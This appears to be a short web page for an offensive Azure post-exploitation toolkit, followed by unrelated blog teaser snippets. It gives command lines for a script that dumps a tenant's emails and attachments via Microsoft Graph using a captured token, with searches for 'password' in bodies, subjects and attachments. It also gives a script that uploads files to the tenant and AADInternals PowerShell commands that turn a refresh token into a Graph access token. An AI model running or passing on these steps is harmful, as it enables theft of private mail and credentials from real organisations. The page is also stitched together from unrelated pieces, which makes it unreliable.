Script to dump emails through Microsoft Graph API. it also include another script to push a file on the Azure tenant.
This script dump emails and attachments
python3 graph_dump.py extended_azure_token_file_path (optional filter) '$search="body:password"'
'$search="subject:password"'
'$search="attachment:password"'
python3 graph_dump.py extended_azure_token_file_path '$search="body:password"' This script can be used to host on file on an Azure tenant
python3 extract_email.py extended_azure_token_file_path file_to_upload_path remote_filename (optional -organization) PS> install-module aadinternals
PS> import-module addinternals
PS> $t = Get-AADIntAccessTokenWithRefreshToken -clientid "d3590ed6-52b3-4102-aeff-aad2292ab01c" -resource "https://graph.microsoft.com" -tenantid "" -refreshtoken "" -savetocache 1 -includerefreshtoken 1
PS> Write-Output $t Artificial Intelligence (AI) is changing how industries operate, automating processes, and driving new innovations. However,…
Image credit:pexels.com If you think back to the early days of personal computing, you probably…
In an era defined by technological innovation, the way people handle and understand money has…
The online world becomes more visually driven with every passing year. Images spread across websites,…
General Working of a Web Application Firewall (WAF) A Web Application Firewall (WAF) acts as…
How to Send POST Requests Using curl in Linux If you work with APIs, servers,…